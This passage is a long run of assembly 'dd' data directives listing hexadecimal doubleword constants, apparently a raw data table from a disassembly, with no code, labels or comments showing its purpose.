		dd 10BE6DE4h, 0CFEE8192h, 1E3EDBF1h, 8D4416FFh,	0CF848A12h
		dd 6A94B26Dh, 5F118C36h, 596FCEF0h, 4825374h, 0F92A075Ch
		dd 74A427B8h, 0C999A6E1h, 0DE392119h, 66E39A43h, 0CD3B99A0h
		dd 9B0AA497h, 85BB540Fh, 59B052D3h, 1D086BEAh, 646F4EF3h
		dd 0F40B9256h, 19E38422h, 279BC4CCh, 7A9D8F6Eh,	38179EB4h
		dd 8A9642BEh, 0E2D703C0h, 0B5085C67h, 1CE9EC7Fh, 0C4CBBBEBh
		dd 3630A49Ah, 3860A9E5h, 53E090BFh, 8D028267h, 0C57D35CBh
		dd 0D61C6FE0h, 0B9C7A80h, 0A4421E2Bh, 5DBC52F2h, 40681682h
		dd 75486ABCh, 3A1EB5BFh, 612CF6B4h, 0CDDD1222h,	4B00B39Ah
		dd 0A32FFABDh, 78E2F0Ah, 742B6236h, 88EB69FAh, 20376DFFh
		dd 0FCD5E13Bh, 0FCB8ECA5h, 3AD405B5h, 0B2F74090h, 58AF83E0h
		dd 8E7DDB02h, 3D345B50h, 0B761D962h, 8CDF10E2h,	0CBB6EF23h
		dd 0C6B39EFBh, 0F787F519h, 0D67DB252h, 0B2A3EF8h, 0BAD01771h
		dd 0ACB5A88Ch, 0E04230Fh, 0F65C44ADh, 0B1EF2091h, 0FECA5D2Ah
		dd 0FB58589h, 9E32CD4Ch, 0C405BF4Fh, 420A3575h,	783C1036h
		dd 0A9BD4E34h, 83A3D7AAh, 0DA43E455h, 29B0AF3Bh, 27ADB271h
		dd 63858743h, 0F2C5426Eh, 1B6DD9F0h, 0C23F2C54h, 0B0F19DFFh
		dd 0CF46A181h, 1DF01AF1h, 0BF689048h, 0CD28651Eh, 0C1D0207Dh
		dd 9CB47E4Bh, 0B77DCE3Dh, 62AE68AFh, 52CFDE7h, 6B7A9518h
		dd 0CA5F176Ah, 0A5A9C83Eh, 4E6E3557h, 0B93435B7h, 369AC19Bh
		dd 5B3E65ACh, 7771F318h, 194A08B3h, 0FA819FC9h,	1D2B817Fh
		dd 6BAE000h, 0F3897EB7h, 12DAF0A2h, 75866C94h, 0F8562FD3h
		dd 3DB3A22Fh, 86E40623h, 70DA9EF7h, 0E2F163B2h,	0AAE1687Ch
		dd 0A0FB2914h, 344141C1h, 1F1F58B0h, 0E3A55CB9h, 792FD7C1h
		dd 0C1CCC54Ah, 120954D0h, 0C96D16D4h, 81F87D84h, 0C62E0059h
		dd 69B15377h, 79515A73h, 0B3D5664Ch, 291540DCh,	0D7D3CD0Ah
		dd 5C6E8CFFh, 6730C24Bh, 0A7D7FA07h, 0D5AEE461h, 90368AC4h
		dd 11D430C1h, 7E85953Ah, 0E309939Ah, 2A612606h,	0E833EF43h
		dd 96023224h, 1BB7D753h, 3C61B920h, 45F3EDC4h, 0F110A40Dh
		dd 0B5A5B4E1h, 2A524B1Bh, 2242596Dh, 9EA9DD80h,	528EB8CEh
		dd 421564BBh, 0D1D77598h, 1627F622h, 537C70Dh, 4EE4C3F0h
		dd 868C7DD1h, 4F85E0D2h, 0E1267110h, 0ED2164F5h, 5171A782h
		dd 2FA99722h, 46EB5606h, 81EF8CD1h, 88DF475Ah, 0CD335AE4h
		dd 0EEE37B29h, 0AA528457h, 1B2AC872h, 963685CFh, 0B64EA3EEh
		dd 5293C0FAh, 9A306048h, 195DE3CFh, 88AC64A8h, 1D539526h
		dd 5530B347h, 7DE36069h, 7804721Eh, 0A5AC63F3h,	19D33F71h
		dd 0FD0C7E5Ch, 55E6166Ah, 43E1793Eh, 8EA6AF06h,	0E2A83003h
		dd 0B477E245h, 6D80470Fh, 125CE466h, 11EE94BCh,	0D10402A5h
		dd 0AC78FBC4h, 0D5D50E8Dh, 0C62EF54h, 0BA741369h, 9DD38370h
		dd 0D98C2497h, 0F8EA96Dh, 1E68C300h, 0AFE4F03Ch, 0F35DEAD9h
		dd 0B4272ADh, 856C359Ch, 0D7E5CA9Bh, 834A703Bh,	84B3EC1Ch
		dd 99EC8F54h, 188F5AC9h, 0AB3BB36Dh, 288844CDh,	112679CCh
		dd 2AE9A46Fh, 432B91C4h, 0E503D5D2h, 292D872Ah,	39EF07D7h
		dd 0ACB6645Ch, 1351584Dh, 0D27B480Ch, 113D5A97h, 0D8F43B6Ah
		dd 7D4B176Dh, 0C098CE0Ch, 4984E390h, 6EDAE430h,	71965E0Dh
		dd 945B4DA1h, 51867B04h, 0B60AAC88h, 969ABBF0h,	4246CA73h
		dd 926496B9h, 0B51ABBF3h, 0E17AE778h, 18CF3A45h, 83EFC468h
		dd 5C56C97h, 45AAEEDh, 0B4026445h, 0C0893CD2h, 4AE5E670h
		dd 0D1924846h, 0FF72A9F9h, 0C409EDF4h, 60E669B2h, 0D3A6EFC8h
		dd 8811C5FCh, 583B8151h, 3073516Bh, 0B7390302h,	0F9FB534Eh
		dd 0AE6EFB89h, 5FFB6FA2h, 0B5DE00E8h, 0AF01F7AFh, 0A43C63AAh
		dd 7E1D7195h, 6FB5B178h, 6B8C6DB3h, 0E49A86A7h,	27EC8520h
		dd 27154E8Fh, 9FF92F3h,	934CCF4Eh, 5492C87Eh, 2533D1E9h
		dd 0D16BB629h, 9E43D293h, 82D172AEh, 0B20E73BFh, 9EADAFD6h
		dd 6004B53Bh, 0A45F1C2Bh, 1C214A06h, 0B14E0EBCh, 685BA33Fh
		dd 7521CAC4h, 8B967009h, 9B48798Bh, 0D1C3CF6Fh,	6F8AE868h
		dd 5B40E807h, 0B115B90Dh, 0F18A4573h, 0EA265290h, 0E2A98A5Dh
		dd 56A0FD81h, 0CE222FA1h, 0C4084CC1h, 4DAFFEBDh, 1B39B43Eh
		dd 0ADC9A21Fh, 0ADE8A554h, 0D3FCA3BAh, 0E7B807F9h, 63CD7F0Dh
		dd 525569ACh, 2A968B34h, 37FAF66h, 4FCF253Ch, 0CB910FDDh
		dd 7640EBF1h, 1155297Ah, 9CA832F1h, 8191D958h, 0BEB68BD7h
		dd 210945C7h, 5766779Eh, 0D136C18Dh, 29463190h,	8CF18361h
		dd 103C878h, 0E9B2129Ah, 0AEFD5E70h, 1EE21527h,	0CEE0073h
		dd 19C3DEF6h, 6D7856A4h, 0AABB7C93h, 15D32DE8h,	0B2A42409h
		dd 343D073Bh, 21B50A33h, 8D02757Ch, 7690B525h, 80D6CA5Ah
		dd 98C17F8Eh, 8C0A95D0h, 0D9D2D672h, 5D9EB6D3h,	0BB8AEDA7h
		dd 9748C908h, 57034E8Ch, 0EDB1E386h, 0F861E2h, 0E656E80Dh
		dd 0FBDA3311h, 2D310EC6h, 47F9D321h, 0FF66CD1Fh, 4B56CE58h
		dd 0A61AF6A0h, 0CE586B14h, 0DA84B709h, 70BF16CBh, 3F36A991h
		dd 0E82504F3h, 59B1CA82h, 0C155A56Eh, 0B1C96CADh, 6BBDAA97h
		dd 722CC56Ch, 7D56AF6Bh, 0E7F48AC3h, 0DA7CA28Ch, 0DD22C7C9h
		dd 840175E3h, 53F9BDEDh, 9C49D203h, 97BB8674h, 415ABB5h
		dd 2D5B4369h, 0C5D672CFh, 1ADC375Eh, 5F937248h,	0F3036EABh
		dd 75607616h, 75F91CB2h, 81F29316h, 0AC2DEA3Ch,	3D23906Ch
		dd 0AEDB8775h, 3B3D324Eh, 4DD8F700h, 0B4C040D4h, 49F8C56Eh
		dd 8D2C320Dh, 5DD82FE2h, 147391EFh, 0F6367273h,	9746673h
		dd 792765DDh, 4652C791h, 45D3DD1Ch, 7DD636E1h, 544D7BACh
		dd 49652E45h, 15EBB0Eh,	5510B3CEh, 8071A641h, 2A902571h
		dd 0CBA1070h, 0D765B818h, 0B9522189h, 3226196Ah, 0CAA316FFh
		dd 4ADE97Ch, 0C2CBDB70h, 72954E97h, 2D1DD21h, 43E69DDh
		dd 14ED2934h, 103EB9E4h, 7C1F81EDh, 0F8F929E6h,	2AA6FAE2h
		dd 0B0053BD5h, 6C938C68h, 9C50F36h, 83C99648h, 6C25ECDAh
		dd 0C2B4F656h, 2CCEA577h, 7F966EAFh, 93528A92h,	41D55643h
		dd 2AA1B9BFh, 72C0948Dh, 0F7EE392Bh, 7BB7E15h, 5723FDCEh
		dd 3DA5EF12h, 4A989FABh, 204D0195h, 40A74A31h, 70239D9h
		dd 3E200314h, 6503F627h, 3F9E0B32h, 3188F92Ah, 0FBD79665h
		dd 0E04D9F3h, 0E7236743h
		dd 169BC128h, 9C50D173h, 2A6F422Dh, 0A471FDEDh,	1628EF0Dh
		dd 0F1C7B2AFh, 5C5216C1h, 0EEB64CA7h, 0A572D661h, 58D16055h
		dd 9BDBCF2Bh, 0BCC44FB9h, 32E0F6EEh, 61A82FFEh,	5F0F2432h
		dd 0A172B0A0h, 753374C1h, 0FE856DACh, 95D4D3CAh, 0E160174Ch
		dd 1117FBF2h, 0F96DF933h, 0A516008Dh, 255270B0h, 0B62DA0ADh
		dd 768FEFAh, 5EC1478Eh,	14B36EB4h, 3327F891h, 901E7571h
		dd 4040B031h, 5632B3B3h, 0F7B4AE9Fh, 0C2860CADh, 5877356Dh
		dd 1BBBFA7Ch, 571A4834h, 38FEE444h, 8D77F371h, 7822EE92h
		dd 622CEF44h, 0B9E3DC7Bh, 4E3FCB4h, 0EC019BE5h,	1B36DFAFh
		dd 95C3AD82h, 20FAB6D3h, 9F221DF1h, 97E99FE2h, 0F5903AD1h
		dd 539F290Ch, 22C3703Eh, 0DAD3FCC3h, 0E0783860h, 21548D9Fh
		dd 7CCC75F5h, 0AC232953h, 0D04F14EEh, 0C875CE59h, 0BE8315CCh
		dd 0DF0F96Dh, 8824A49Ah, 2AC281CAh, 46C714CAh, 493A4291h
		dd 0E046499Bh, 0EF8409C6h, 0D669EFDCh, 7505C816h, 0E6FDBC22h
		dd 0F13940C6h, 94804E3h, 74807B5Dh, 205899D9h, 0B4292B44h
		dd 2A68A5F5h, 0A2578CD9h, 0DD045AD0h, 59958C40h, 6B9AF610h
		dd 0EB7B5D4h, 44DE7F3Eh, 5F2733C8h, 0C3863A33h,	0CC066ECEh
		dd 358DEE76h, 0CD9FEE1Ah, 794807C1h, 4477F2Fh, 0A6F0078Ch
		dd 8B857D32h, 624E714Fh, 5217D49Eh, 0DDDD605Eh,	6842794h
		dd 509365F9h, 0B54315F9h, 1C13EEDh, 7C1BFE65h, 358A0BE3h
		dd 25021CB5h, 86B91A0Eh, 0DCE76A64h, 5DC938B8h,	64EA25FFh
		dd 8EA8A696h, 99451023h, 0DA96B617h, 8B8F73E8h,	5F8FE826h
		dd 391EC2ACh, 0D20329A7h, 0BD927E19h, 9D077A94h, 88EADE5Fh
		dd 93E1FC4Bh, 0AD018F94h, 7077CBA8h, 0F883FE6Dh, 0BFF555ABh
		dd 0E214877h, 3B714DE0h, 0EA2F62CFh, 743D75EBh,	0D35F5FE9h
		dd 0ABE9B417h, 9795EA4Dh, 0F0D8AF7Bh, 0B3628270h, 0BFCC670Ah
		dd 534E2CEh, 0EDBEFEE3h, 7B50C6BEh, 932E79Ch, 32E7C7B4h
		dd 0A64E5D51h, 9C00CC1Ch, 2F77126h, 0E8DDE728h,	965030FEh
		dd 821E46D2h, 72859B90h, 68C9F9B3h, 339BCBD7h, 67AA7844h
		dd 7DAD8E3Fh, 4E563E19h, 6FA460D9h, 450C4487h, 3B80BE09h
		dd 9B13F3CCh, 0C65F3A7h, 665226BAh, 0F9AADF92h,	0D8385521h
		dd 0B3F84F59h, 0D8257549h, 0E20C2581h, 0F8E48D3Dh, 0D052D438h
		dd 0EDC8A378h, 7FCD14B4h, 9D73022h, 2371B4BDh, 309ECF53h
		dd 71C03BCBh, 0DA430B8Bh, 1E0FE8Dh, 0EC118CDBh,	4931854Ch
		dd 1F6B80FAh, 84B195FAh, 0FDA8B594h, 97B08C1Ch,	0DC69ADE5h
		dd 95B29090h, 0E017D0B1h, 977DECFDh, 7E6FFFA5h,	0FA2C4A72h
		dd 0DD325660h, 6815F93Ah, 8A7FBC3Dh, 611A9615h,	0AA05AC84h
		dd 44E58A5Ch, 5F62D1D1h, 582D3741h, 0D29DD066h,	8721257Ah
		dd 20A7D530h, 18E23C21h, 94BC2C0h, 0F4F9D33Ah, 780D4553h
		dd 0CA44D464h, 25101B2Ch, 331E48E1h, 35C01724h,	12A1E95Fh
		dd 9123F943h, 68CA437Bh, 564CD5C1h, 84BFC9B4h, 0B6BFEF16h
		dd 6D714CCBh, 0FDC8CB08h, 0AEFB2E1Ch, 40104598h, 4DA572A0h
		dd 0A980BC4Ch, 0EECA913Ch, 3D6577E6h, 0F52EC57Ah, 86822842h
		dd 99F6CEBEh, 0AE09FCEAh, 2BF2D4AFh, 0BD76A9C8h, 8DC0636Eh
		dd 0EF714A3h, 0DEDFE0FAh, 0AB27371Ch, 0E39DCB93h, 13CAB31h
		dd 9A82D78Ch, 7D9C1481h, 492C29B0h, 102917FDh, 0BAC5DDC2h
		dd 0C2EB7FDBh, 0A34E502Dh, 59A16F02h, 0D9A2310Fh, 21019D20h
		dd 2A402816h, 0AD77C062h, 5F554098h, 3F557250h,	0DFD5998h
		dd 75567408h, 7C81974Ah, 0B42FA71Eh, 0C4C9BCE9h, 670B69CEh
		dd 1194CEEAh, 0FE5BEE82h, 981EA4h, 0BCA5C76Eh, 70CCFD85h
		dd 8D1164FCh, 51C3DA97h, 72F37546h, 0CB572338h,	0CFE986D8h
		dd 0FC49A122h, 701AC25Fh, 42187D25h, 0C37D2F48h, 0B8855C23h
		dd 4B263E9h, 0C31FBC9Ch, 8AB1F87Fh, 0C1E0E190h,	0EE8CE560h
		dd 2141756Fh, 0DDC9A377h, 0B617C890h, 79CC4B83h, 0A6F3D670h
		dd 8CEFD76Bh, 75B61FD4h, 481FA420h, 0CAFA34A5h,	4D8C1F8Fh
		dd 7EFE6492h, 0C2DC18E9h, 0C726120Eh, 0DFDB3A59h, 0F24F616Eh
		dd 0C72775A0h, 5C894A3Dh, 30C0CD9Ah, 0B8D9BD1h,	2E290436h
		dd 0C4B0E0A9h, 9CB34B67h, 0E5543B43h, 7974B66h,	2486762h
		dd 0E2ABD775h, 0F0441AC5h, 0D0B5F2BFh, 95C859C3h, 633F460Bh
		dd 4FFCDF14h, 0E86D0193h, 3F0DF10Ah, 0BC8BF80Bh, 0B397B639h
		dd 5A79155Dh, 420F91D3h, 89F8100Fh, 0F5A5BB15h,	0F02D01B6h
		dd 6DABB263h, 0EA3A1F06h, 58D67619h, 4EA8C237h,	7FF0C581h
		dd 0E1A69C9Ah, 56B4A905h, 2EE18DB4h, 5A8E7532h,	0FC196ED6h
		dd 9626512Dh, 0BB95A1A9h, 0D268405Eh, 59C98656h, 0DC7F2B9Fh
		dd 0C85C5658h, 9B76CCBBh, 38540165h, 7805FA6Fh,	0AE936E9Dh
		dd 5AD61A8Bh, 0FF3090C6h, 53836E52h, 27FC6E91h,	4E70A1E2h
		dd 0FB42FDC4h, 5EE6F325h, 1B42B304h, 987AB390h,	0E92EECBBh
		dd 5CF1DE20h, 96F909E3h, 0C7E2855Ch, 8C21CBB8h,	6BD4BD07h
		dd 5586F835h, 0B7848049h, 0D631141Ch, 181D096h,	9F877360h
		dd 0FE3CB23Fh, 66ABF05Ch, 986D6327h, 3409801Bh,	338170CAh
		dd 0FEE931Ch, 7F843E24h, 0F82C27CCh, 0DE5C88EAh, 80722B3Dh
		dd 72452A1Ch, 6667BC70h, 62A4020Eh, 0FCFFDC88h,	6C4838A5h
		dd 0FE6EBF53h, 0FE972EDDh, 0CD389BD5h, 925895B9h, 5C4E0878h
		dd 7D641700h, 0D4960BDBh, 83248446h, 97179AC5h,	4F285A62h
		dd 58BD7C87h, 0A0BAE984h, 0CEC1ADEDh, 0B960F454h, 9A130B30h
		dd 6FCE4BFAh, 7625BA81h, 0F95587BFh, 8299FD57h,	3FC1FC65h
		dd 0C78A30Bh, 0A018FECCh, 2D8657CFh, 0BD0D31B0h, 0DAAC7F7Eh
		dd 13100735h, 747926D0h, 4056F131h, 24CF4D2Ch, 615242C8h
		dd 84ECD51Ah, 7724E3D5h, 0E7907B83h, 5BC579BCh,	0E5DF6D39h
		dd 7C353A0Fh, 38166F44h, 0EEF06EE8h, 0A1B1A7FEh, 0D5676B6Ch
		dd 1CA7A6CCh, 97B3D4F5h, 0E9E8A64Ah, 7FF363Ah, 0C0F26AC5h
		dd 644154Dh, 89FFD101h,	0C4B6356Fh, 79917A8h, 0F4180692h
		dd 0CE21589Bh, 0A9537A7h, 4B88D025h, 27ACA4A6h,	0A5D4E55Dh
		dd 96683A32h, 0BA14018h, 5664E93h, 39B66824h, 0AA89AA7Bh
		dd 8052717Ch, 83011A95h, 0E7D14D23h, 66ADAB93h,	835ED5F1h
		dd 0F76C83Bh, 3FB85402h, 793BF12Dh, 97514D42h, 9F0C8D0Bh
		dd 5BB6CD54h, 0CDD6CEBBh, 639F7DF6h, 51B3CF9Ch,	1F750BE0h
		dd 82DB173Ah, 0A47C6544h, 0E3C5F714h, 0B5C34409h, 73B2A345h
		dd 6D1978B9h, 6F3DEE5Bh, 55F6A8E7h, 0E0875D20h,	8E717070h
		dd 12570E72h, 0F7F3E2B4h, 56E34882h, 0BB1E3ACCh, 6EF6928Ah
		dd 0A3D6E501h, 2279F8F8h, 0CA2D80DEh, 5188424Fh, 0FB3B2B80h
		dd 8377CB26h, 853E24C4h, 0F3B62B5Dh, 0E4431425h, 25471CA8h
		dd 1F4988E6h, 0A7C32514h, 0DC094F70h, 2F777508h, 0F817DE01h
		dd 5B74369Bh, 0C0AFD9ABh, 7E826D1Bh, 0AB7F6FFh,	0F4037114h
		dd 79E41EB8h, 36A26D53h, 2F9BE73Dh, 0DFBFB452h,	68916258h
		dd 0D58B5D06h, 4D4F024Bh, 3D711EA5h, 0A4D7425Dh, 0AC06FA09h
		dd 0EB600A89h, 4079AF64h, 2BA47D19h, 0AFC77CC2h, 9D71A6F7h
		dd 493632C6h, 0DBD346D2h, 0AE7BD729h, 33CAB975h, 19004D5h
		dd 32FBA69Fh, 507F2D16h, 0A78F1A29h, 0C1544B4Ah, 0B3398FEAh
		dd 34B25FC4h, 0B4331611h, 4770CD94h, 945AAB5Bh,	886BAC8Eh
		dd 8457CE93h, 36E39FF2h, 0FF890DADh, 1D10451Ah,	0C7C7ED68h
		dd 783E5DDBh, 3D7BFE9Ah, 4FD934FCh, 58B9AE22h, 294DD885h
		dd 8A7A7F56h, 11C901Fh
		dd 19257ABEh, 277BC66Ch, 0C882FD3Fh, 0ABF6A0D5h, 5B75F18Fh
		dd 699F9253h, 9A698F1Fh, 0B922D229h, 3B555590h,	3AAD8348h
		dd 0ECC4C755h, 10AAC12h, 0E82EE92Dh, 7C676404h,	0B269A534h
		dd 575E282Fh, 3765D219h, 0B33CA47Ah, 86719B5Bh,	0D9D3F231h
		dd 0E9AA2056h, 103F0B2h, 0AE381859h, 0F2CCA9B1h, 8564BBB8h
		dd 8F0B5156h, 0CB489BD0h, 3C57E95Ch, 0E1ED829Ah, 0B289ED6Eh
		dd 321ECAB6h, 8F6DDACEh, 0A7542753h, 932EA240h,	0B412D39Dh
		dd 61613FFBh, 85B47566h, 0EAEF5BDCh, 0DC3AEC92h, 0EB2975F4h
		dd 13376F00h, 1E288D38h, 24653C22h, 0F1E21380h,	84FE283Ah
		dd 0DAA252B9h, 99CCA856h, 0BE35DDEAh, 0F9273BE6h, 6F5EB0E2h
		dd 0FB7B60D5h, 9DC6A199h, 8CE76A8Eh, 0A247B71h,	505B38BFh
		dd 55F44E15h, 30974A0Eh, 0CB5B0227h, 65C15E34h,	2874ABD6h
		dd 49C94BEh, 49268656h,	6D2D77D6h, 0AB229702h, 0A967447Bh
		dd 77479F9Bh, 0DD5C0277h, 2782F8B6h, 0E2C95453h, 4BF9B01Ch
		dd 2AA30271h, 91735C85h, 0CBE951B4h, 6D007A92h,	8B3CA5BEh
		dd 1C816603h, 6A963A22h, 97C4F816h, 25187ABCh, 7560BDEEh
		dd 849A2274h, 183DE7E8h, 7FF24844h, 0A4394BECh,	0B694E6ADh
		dd 87B15E6Bh, 0ECD4E33Dh, 0E0616C54h, 7EC9466Dh, 0C2CD1DAh
		dd 0ACFFBA6Eh, 0D9A8BE7Ah, 0B317B1D9h, 7F6A23CBh, 3A7B0A88h
		dd 0F9C3457Eh, 0FAC7667Eh, 69F70E13h, 59E07B98h, 8C04F900h
		dd 0DF22878Bh, 0B36A1E07h, 1D31E2D5h, 3FA7554Ch, 21722AFh
		dd 0A830727Bh, 98A5B5C7h, 0E95ADFBh, 46CE868h, 1CBF2321h
		dd 94491FC8h, 0A663E213h, 454C7E20h, 0DB258E37h, 0F8C2FCADh
		dd 87756D42h, 2E9FBB0Ah, 4F540ABAh, 8F61BCCDh, 0AF8C97B1h
		dd 8C8AE7BBh, 3F89A3B5h, 0BB01027Fh, 42F51D4Bh,	42F61F76h
		dd 960FF598h, 0FC203057h, 9823A86Eh, 1CE5DEC0h,	3395D7DAh
		dd 84C4D3F6h, 0E9370E2Ah, 9489AB95h, 76080976h,	0CBD6450h
		dd 0CF2DC778h, 35A89AEDh, 71762359h, 4B188C6Fh,	32DA175Dh
		dd 0E9AD92A9h, 0C20DE5C5h, 9AB89FE5h, 4F1EE516h, 2836369Ah
		dd 0B5B7B9F2h, 7156385Bh, 2E8841B8h, 0B0CE8C82h, 7315AD96h
		dd 30CFBA76h, 38E21145h, 6A71EE31h, 0E768C345h,	3A3DA959h
		dd 0FC21B7FDh, 8567C6BFh, 7F37CA85h, 0BFCBAAFBh, 620092A7h
		dd 0BEBA0301h, 75C269CEh, 7745E405h, 8AAAE6CDh,	0F7A7A1B9h
		dd 0D7EBBC1Ch, 26D932B5h, 199FB15Eh, 5FB47915h,	3FA641B9h
		dd 18449BBCh, 0F83D82A5h, 0C6C80FB4h, 14553993h, 7BE86E0h
		dd 0BD356A4Ch, 0CA46338h, 42C689A1h, 0E488FDC6h, 0DDD5258Ah
		dd 33F64FFCh, 0E6B90456h, 2005FF6h, 717C8888h, 7875C8A3h
		dd 0DEFE1A2Bh, 0F876ACD7h, 0CE4140A9h, 0B9B434DAh, 5B9C9881h
		dd 0A688C90Ah, 0D9DACF6h, 9900D5DCh, 176B7160h,	19FD8079h
		dd 0A6A2687Dh, 29274E82h, 0AE65BCD7h, 0EECF5A6Ch, 71C31F76h
		dd 3F1EEE2Bh, 0CD09262Eh, 4E0B4CCDh, 772B613Ah,	0F83FD959h
		dd 0CD249418h, 4568ECD3h, 0E7539168h, 0BA087441h, 0C82BDEC3h
		dd 0D0100774h, 8CA39D97h, 53747C79h, 0A0664629h, 488F826h
		dd 236C8864h, 7902B361h, 0FF65CD2Ch, 65953876h,	0EC4DCFB9h
		dd 0A7815F51h, 0E0607D54h, 6F3422Ch, 8AE613F1h,	5568EE53h
		dd 127D16D4h, 62B9C3Ah,	0B4996C6Bh, 0F95A04A5h,	7BE009D9h
		dd 71DAAACh, 0F515BE8h,	0BB23597Ch, 1BE15EB4h, 29D3940h
		dd 831140FAh, 64D1BFB5h, 5BA3843Dh, 96F09C5h, 4AADDFBCh
		dd 0C4F72A2Ah, 0ABE848F3h, 0D06ACFB4h, 8738CDD8h, 7BA33BAFh
		dd 5BC5F89Fh, 49490ADAh, 0F0E0BCEBh, 92BE8A52h,	0C2755C3Ch
		dd 11F7E608h, 2EBC5208h, 34A08B2Fh, 6831F153h, 917271A2h
		dd 0A74AD33Fh, 0A0CB0CFAh, 2DC34A6Fh, 0D685F5CEh, 826C0E8h
		dd 0CF719BDEh, 951FCE00h, 714FC69Fh, 5E88382h, 0D9DE4435h
		dd 0B32B222Ch, 427B73DEh, 0E190837Bh, 0A7FFC9E2h, 9A14CE77h
		dd 9C03A7B2h, 2E950484h, 5B00CEF4h, 6AED1985h, 6F0B9B0Ah
		dd 0B9A7C5ACh, 0D5581157h, 112D5F08h, 0E087ACB4h, 5D4D82B2h
		dd 6DE01F18h, 0E15F9E3Ah, 7F7F4A00h, 42D5A104h,	0D75A301Ah
		dd 54AC9BEAh, 1CD5F346h, 0D9C92FC0h, 64B466B8h,	2F6BE24Dh
		dd 109AC8CBh, 5BFD1AE0h, 38A1C7C8h, 246D0222h, 0D30514CBh
		dd 0E0A44C83h, 51F58361h, 0FB0AB469h, 6767F135h, 0D570E0F0h
		dd 3F4E4847h, 402D5806h, 0CCC25E4Ah, 73CC1FFFh,	7F41046Eh
		dd 0A6237FB4h, 0B5A491F1h, 0E16EF8ADh, 0EA8D1479h, 0E265D1Fh
		dd 0E7213CCAh, 0FB646BA7h, 90194682h, 64F63570h, 6027ECCAh
		dd 422CC5DEh, 7AAFEB8Dh, 53793705h, 0D1512E57h,	0D4304219h
		dd 596419DAh, 40BBAFABh, 0BFB8FF5h, 815FBF9Ch, 0C512C71Fh
		dd 0AE3D699Fh, 45D71AEEh, 0D0F089C5h, 3A3CDF29h, 6A840CEh
		dd 0C5A885D7h, 0E14EF828h, 5D9C773Fh, 0B4A6EF41h, 6E32B105h
		dd 0F799947Dh, 79D9B5EEh, 7B2FBF6Ah, 1DF36A0Ch,	7A36D951h
		dd 15223EB6h, 24B7E0F6h, 0FC2DE9DEh, 0CB463FE8h, 45C0390h
		dd 0A30A6113h, 0A617B427h, 23971215h, 847F1EB6h, 85CC6CF7h
		dd 23B8C7CDh, 0F8A8AE1Dh, 55803500h, 2690C25Dh,	88106D7h
		dd 0D53EACDCh, 0E6827B9Ah, 56B43AC2h, 956483h, 7B65224Fh
		dd 650CF94h, 6618C4Bh, 15D31430h, 0EF8FAA60h, 0BC49EEC0h
		dd 90F0DC9Eh, 0B93FE194h, 349BB5F5h, 2214AC6Ch,	7B92A9EBh
		dd 0FFBCB395h, 0B68561F7h, 421F9E90h, 9C3650D8h, 469585F1h
		dd 7FB287F7h, 0FC693217h, 31077DC5h, 0EA60BDD2h, 8002683Bh
		dd 249BA667h, 0E2E3B8C6h, 1F9B5191h, 6135A750h,	184106BBh
		dd 0CE5C26D8h, 0EC5D1F24h, 6508516Bh, 46F6D80Ah, 0DCDECAEBh
		dd 6AC50A1Bh, 8B8454F3h, 0F52DDD30h, 69E8CDD2h,	86F102B5h
		dd 0CA9AA013h, 3D2C50D9h, 5E140FBEh, 0BA042A8Dh, 283E87A2h
		dd 0B8ECDAFEh, 0E9F7AF34h, 0A01AC66Eh, 7F13B0F9h, 5999261Ah
		dd 5BBBDB4Ah, 0D28FC97Bh, 190ED730h, 4901C6E6h,	0D5F318B9h
		dd 795CD0B0h, 0E44EEC4Ch, 0E83C2A1Ch, 0E53C7652h, 20A20A5Bh
		dd 54198F0Ah, 4BDE0448h, 0D9A5C4CDh, 0E5CE7D30h, 5DCB0842h
		dd 8958A551h, 88491296h, 0D4A3352Ch, 9CED0C98h,	42926021h
		dd 5D9CE995h, 96F0D5CCh, 0E4C3A143h, 0D42C464Ah, 2F637CD3h
		dd 5032DA93h, 0C7F654C5h, 0F46C4D42h, 8C5AB3E4h, 0C830130Fh
		dd 368933CDh, 898FDBA0h, 3C34C4F2h, 6707D49Ch, 438E7528h
		dd 55B86C93h, 1A3C8354h, 43B400B4h, 4ABE001Ch, 0CC4F1794h
		dd 81564E74h, 4BA3319Ch, 49909768h, 52A1BAC8h, 3818897Ah
		dd 17BA6895h, 0F61410C4h, 45957654h, 5A14A854h,	0F493DDh
		dd 0D063D975h, 4C60BF97h, 9E692CEFh, 82A06AB0h,	62BCF380h
		dd 3BEB8162h, 0FBCC9051h, 2C60C3E9h, 6A8BD5BEh,	0DD7FCA37h
		dd 1E24045Fh, 7020B767h, 3086A2F8h, 0FA637245h,	0E3CBCC14h
		dd 0F91640B8h, 82B62E7Ch, 0D52195AAh, 0DC30E209h, 48F2A81Dh
		dd 0A525C75h, 44232917h, 0AFC78045h, 5DE8ECBDh,	51523900h
		dd 6EDA140Ch, 58E7DC79h, 0AF6950FFh, 6B21B920h,	6C4D36DDh
		dd 0ED64996Fh, 4A875CBFh, 77184C48h, 85D3BDDDh,	1681FD06h
		dd 227AA1C0h, 2151D19Dh, 0CE13D0DFh, 988E5925h,	0C1730B1Bh
		dd 0EE96C667h, 0C70CBCB6h, 2F461022h, 1EAD2777h, 67CB260Bh
		dd 0F0A4B7AFh, 0F6B47035h, 0F6B06A5Eh, 0BC46D0A1h, 5808C24Ch
		dd 0FDECBBFDh, 2FFE800h, 598A94D3h, 0DA0325C7h,	66E31F7h
		dd 80C8E54h, 0FA2B44AEh
		dd 59CFA249h, 210C105h,	7BFD24FAh, 4F1BFB43h, 0CCF5ABE2h
		dd 25B8CF4Ah, 88D464C2h, 95212AC9h, 0F851AEC3h,	0F483A508h
		dd 0EE81A07Ah, 68381923h, 92809CFDh, 12608E95h,	8792EE39h
		dd 3FEDD01Dh, 0B2DD064h, 16C84445h, 17B29DD0h, 0AEC40654h
		dd 0FD0AF781h, 967595CCh, 0F2A54F78h, 0B2A50627h, 76A723FCh
		dd 4534BC65h, 0CE5D9B18h, 4A6BAE30h, 0BB506DFCh, 5F262E69h
		dd 0CA1ACE76h, 2B5B6EC1h, 0B55C89DFh, 0A2FBA7C8h, 37183F13h
		dd 0EE380E84h, 67E170DFh, 0DA7E5111h, 158AF098h, 0D8D96E24h
		dd 0B960E6C0h, 0E326DD2Eh, 0F2310A42h, 0A2F4944h, 0DFE88A65h
		dd 0B0723D58h, 0AB6F8392h, 0D09AC87h, 0BD6C8DC1h, 928E0DA3h
		dd 0CF401DC8h, 0D9AD393Ah, 915E3493h, 5D89A877h, 0B6FCC4D0h
		dd 0F8B25290h, 31A9429Bh, 0BCD47BCFh, 0ED3B949Eh, 26048FDh
		dd 0F63FE195h, 0C532C4D1h, 0BFD78780h, 420B9BBAh, 0B2FB27B3h
